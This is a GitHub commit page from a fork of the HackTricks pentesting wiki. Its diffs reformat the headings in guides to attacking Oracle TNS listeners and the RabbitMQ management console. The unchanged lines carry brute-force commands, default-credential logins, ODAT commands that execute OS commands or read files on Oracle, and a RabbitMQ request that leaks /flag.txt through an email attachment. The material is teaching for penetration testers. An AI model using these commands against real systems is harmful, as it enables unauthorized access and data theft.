forked from HackTricks-wiki/hacktricks
-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
carlospolop
committed
May 1, 2022
1 parent
dd63321
commit 523c520
Showing
291 changed files
with
2,710 additions
and
3,266 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | |
</details> | ||
|
||
|
||
# 1521,1522-1529 - Pentesting Oracle TNS Listener | ||
|
||
## Basic Information | ||
# Basic Information | ||
|
||
Oracle database \(Oracle DB\) is a relational database management system \(RDBMS\) from the Oracle Corporation \(from [here](https://www.techopedia.com/definition/8711/oracle-database)\). | ||
|
||
|
@@ -30,7 +28,7 @@ When enumerating Oracle the first step is to talk to the TNS-Listener that usual | |
1748/tcp open oracle-tns Oracle TNS Listener | ||
``` | ||
|
||
## Summary | ||
# Summary | ||
|
||
1. **Enumerate version** info \(search for **known vulns**\) | ||
2. **Bruteforce TNS listener** communication \(not always needed\) | ||
|
@@ -40,11 +38,11 @@ When enumerating Oracle the first step is to talk to the TNS-Listener that usual | |
|
||
In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md) | ||
|
||
## Enumeration | ||
# Enumeration | ||
|
||
Tools that can be used for this are: nmap, MSF and [tnscmd10g](http://dokfleed.net/files/audit/tnscmd10g.zip). | ||
|
||
### TNS listener version | ||
## TNS listener version | ||
|
||
```bash | ||
nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP> | ||
|
@@ -74,9 +72,9 @@ hydra -P rockyou.txt -t 32 -s 1521 host.victim oracle-listener | |
|
||
The TNS listener could be vulnerable to **MitM** attacks. [Check here how to check if the server is vulnerable and how to perform the attack \(all versions up to version 12c are\)](tns-poison.md). | ||
|
||
### SID enumeration | ||
## SID enumeration | ||
|
||
#### **What is a SID** | ||
### **What is a SID** | ||
|
||
The SID \(Service Identifier\) is essentially the database name, depending on the install you may have one or more default SIDs, or even a totally custom dba defined SID. | ||
|
||
|
@@ -118,15 +116,15 @@ In order to use **oracle\_login** with **patator** you need to **install**: | |
pip3 install cx_Oracle --upgrade | ||
``` | ||
|
||
## **Targeting Accounts** | ||
# **Targeting Accounts** | ||
|
||
**Got SID?** Excellent, now let’s move to the next task and extract the user account information. From this point, you can connect to the listener and brute-force credentials. | ||
|
||
**Metasploit** _**scanner/oracle/oracle\_login_ It has a built-in dictionary for the **most popular default values of user account** information presented as login:password. By the way, such default entries represent one of the most popular and serious security problems in Oracle. | ||
|
||
**Nmap** can also help here with the script _oracle-brute_. Note that this script **mixes the logins and passwords**, that is, it tries each login against every password, and it takes quite a while! | ||
|
||
### **Default Passwords** | ||
## **Default Passwords** | ||
|
||
Below are some of the default passwords associated with Oracle: | ||
|
||
|
@@ -141,7 +139,7 @@ Other **default passwords** can be found [here ](http://www.petefinnigan.com/def | |
|
||
The versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3 are vulnerable to **offline brute force**. [**Read more about this technique here.**](remote-stealth-pass-brute-force.md) | ||
|
||
### User/Pass bruteforce | ||
## User/Pass bruteforce | ||
|
||
Different tools offered **different user/pass lists** for oracle: | ||
|
||
|
@@ -156,7 +154,7 @@ I have **mixed** all of them and **removed duplicates:** | |
|
||
{% file src="../../.gitbook/assets/pass-oracle.txt" %} | ||
|
||
### [Brute Force](../../brute-force.md#oraclesql) | ||
## [Brute Force](../../brute-force.md#oraclesql) | ||
|
||
Now, that you **know a valid SID and valid credentials**. To connect to the database you need the tool: _**sqlplus**_ and to install it you need to follow some steps: | ||
|
||
|
@@ -182,7 +180,7 @@ sqlplus <username>/<password>@<ip_address>/<SID> 'as sysdba'; | |
sqlplus SYSTEM/[email protected]/ORCL 'as sysdba' | ||
``` | ||
|
||
## **All in One** | ||
# **All in One** | ||
|
||
**An interesting tool is oscanner**, which will try to get some valid SID and then it will brute-force for valid credentials and try to extract some information: | ||
|
||
|
@@ -209,35 +207,35 @@ For **each valid account** \(e.g. _SYS_\) **on each valid instance** \(SID\), OD | |
|
||
[**Wiki odat**](https://github.com/quentinhardy/odat/wiki) | ||
|
||
## Remote Code Execution | ||
# Remote Code Execution | ||
|
||
There are at least two different ways to execute commands, such as by using Java procedures and DBMS\_SCHEDULER package. By the way, you can also achieve RCE in case of SQL injection in a web application provided, of course, that the user running it has sufficient rights. At this stage, I highly recommend preparing the Oracle Database Attacking Tool: [ODAT](https://github.com/quentinhardy/odat). | ||
|
||
### Install ODAT | ||
## Install ODAT | ||
|
||
```bash | ||
git clone https://github.com/quentinhardy/odat.git | ||
cd odat | ||
./odat.py #It shouldn't be problems in Kali | ||
``` | ||
|
||
### Execute Code via Java Stored Procedure | ||
## Execute Code via Java Stored Procedure | ||
|
||
```bash | ||
./odat.py java -s <IP> -U <username> -P <password> -d <SID> --exec COMMAND | ||
``` | ||
|
||
[More details here](oracle-rce-and-more.md#rce-java-store-procedure) | ||
|
||
### Execute code via Scheduler | ||
## Execute code via Scheduler | ||
|
||
```bash | ||
./odat.py dbmsscheduler -s <IP> -d <SID> -U <username> -P <password> --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK" | ||
``` | ||
|
||
[More details here](oracle-rce-and-more.md#rce-scheduler) | ||
|
||
### Execute code via External Tables | ||
## Execute code via External Tables | ||
|
||
```bash | ||
./odat.py externaltable -s <IP> -U <username> -P <password> -d <SID> --exec "C:/windows/system32" "calc.exe" | ||
|
@@ -247,7 +245,7 @@ cd odat | |
|
||
[More details here.](oracle-rce-and-more.md#rce-external-tables) | ||
|
||
## Read/Write files | ||
# Read/Write files | ||
|
||
```bash | ||
./odat.py utlfile -s <IP> -d <SID> -U <username> -P <password> --getFile "C:/test" token.txt token.txt | ||
|
@@ -256,7 +254,7 @@ cd odat | |
|
||
[More details here](oracle-rce-and-more.md#read-write-files) | ||
|
||
## Elevating Privileges | ||
# Elevating Privileges | ||
|
||
[More details here](oracle-rce-and-more.md#elevating-privileges) | ||
|
||
|
@@ -272,7 +270,7 @@ Vulnerability tested on oracle 10.1.0.3.0 – should work on thru 10.1.0.5.0 and | |
msf> use auxiliary/sqli/oracle/lt_findricset_cursor | ||
``` | ||
|
||
## Free Virtual Environment for testing | ||
# Free Virtual Environment for testing | ||
|
||
If you want to practice attacking Oracle databases, the safest way is to register for the Oracle Developer Days Virtualbox VM: | ||
|
||
|
@@ -284,7 +282,7 @@ Other interesting **references**: | |
|
||
[http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html) | ||
|
||
## HackTricks Automatic Commands | ||
# HackTricks Automatic Commands | ||
|
||
```text | ||
Protocol_Name: Oracle #Protocol Abbreviation if there is one. | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -17,17 +17,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) | |
</details> | ||
|
||
|
||
# 15672 - Pentesting RabbitMQ Management | ||
|
||
## Basic Information | ||
# Basic Information | ||
|
||
You can learn more about RabbitMQ in [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md).\ | ||
In this port you may find the RabbitMQ Management web console if the [management plugin](https://www.rabbitmq.com/management.html) is enabled.\ | ||
The main page should looks like this: | ||
|
||
![](<../.gitbook/assets/image (270).png>) | ||
|
||
## Enumeration | ||
# Enumeration | ||
|
||
The default credentials are "_**guest**_":"_**guest**_". If they aren't working you may try to [**brute-force the login**](../brute-force.md#http-post-form). | ||
|
||
|
@@ -57,7 +55,7 @@ Content-Length: 267 | |
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"[email protected]\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"} | ||
``` | ||
|
||
### Shodan | ||
## Shodan | ||
|
||
* `port:15672 http` | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.